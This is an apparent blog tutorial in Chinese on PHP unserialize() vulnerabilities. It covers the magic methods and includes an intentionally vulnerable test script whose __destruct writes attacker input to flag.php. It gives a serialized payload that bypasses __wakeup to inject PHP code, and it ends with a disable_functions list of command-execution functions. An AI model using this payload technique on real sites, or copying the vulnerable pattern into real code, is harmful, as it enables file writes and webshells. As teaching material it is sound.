反序列化漏洞(PHP)

反序列化漏洞

0x01. 序列化和反序列化是什么

序列化:变量转换为可保存或传输的字符串的过程;
反序列化:把序列化的字符串再转化成原来的变量使用
作用:可轻松地存储和传输数据,使程序更具维护性

0x02. 为什么会有序列化

序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构

0x03. 序列化和反序列化代码示例

<?php
class User
{
    
    
    public $username = 'admin';
    public $password = '123456';
}
// 序列化操作
$user = new User();
$str_ser = serialize($user);
echo "序列化结果为:\n";
var_dump($str_ser);
echo "反序列化结果为:\n";
// 反序列化操作
$str_uns = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}';
$str = unserialize($str_uns);
var_dump($str);
?>

运行结果:
在这里插入图片描述
序列化后的格式如下:
在这里插入图片描述

0x04. 魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)

1.__construct,__destruct

__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;

2.__get,__set

__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用

3.__isset,__unset

__isset对不可访问或不存在的属性调用isset()empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用

4.__sleep,__wakeup

__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作

0x05. 反序列化漏洞成因

当传给 unserialize() 的参数可控时,那么就可以注入精心构造的payload,而当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成恶意命令执行!

0x06. 反序列化漏洞举例
(1)测试代码如下:

<?php
header("Content-Type:text/html;charset=utf-8");
class vFREE{
    
    
public $name='vFREE';
public $age='18';
function __wakeup(){
    
    
$this->age = "18";
echo("执行了wakeup魔术方法<br>");
}
function __destruct(){
    
    
echo("执行了destruct魔术方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);

}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
?>

解释:类外部用到了反序列化函数unserialize,但用到这个函数时,就会像检查类vFREE中有没有__wakeup方法,有的话就执行,没有就跳过,很明显,代码中有wakeup,但是wakeup的内容就是一个赋值操作,并起不了太大的作用,反而destruct中可以利用一波,因为destruct中打开一个flag.php的文件,然后将$this->name的值作为内容写入到flag.php中,假如我们写入一个木马,便可以Getshell

(2)我们要传入一个参数flag,并且将传入的值放入反序列化函数中执行,所以我们要传入的应该是一个序列化后的字符串,此时我们应该类vFREE进行序列化,代码如下:

<?php 
class vFREE{
    
    
    public $name='vFREE';
    public $age='18';

    function __wakeup(){
    
    
    $this->age = "18";
                        }
    function __destruct(){
    
    
    $path='flag.php';
    $file_get=file_put_contents($path,$this->name);
                         }
    }

$test = new vFREE();   
$str = serialize($test);
var_dump($str);
?> 
得到序列化后的结果:O:5:"vFREE":2:{
    
    s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}

在这里插入图片描述
(3)绕过wakeup方法:

绕过wakeup方法,直接执行destruct写入shell:
更改原有属性值达到绕过过wakeup的效果,此时的类中属性值是2,我们只要将属性值改为大于2,即可绕过,如下改成5,便可以绕过:

O:5:"vFREE":5:{
    
    s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}

(4)传入恶意payload,成功创建flag.php
在这里插入图片描述
在这里插入图片描述

(5)查看生成的flag.php,利用成功

在这里插入图片描述

0x07. 反序列化漏洞预防

1)安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置
这个禁止某些php函数,服务器便是用这个来禁止php的执行命令函数
 #禁止这些函数来执行系统命令
例:disable_functions =system,passthru,shell_exec,exec,popen  
(2)严格控制传入变量,严谨使用魔法函数

猜你喜欢

转载自blog.csdn.net/qq_42383069/article/details/124841251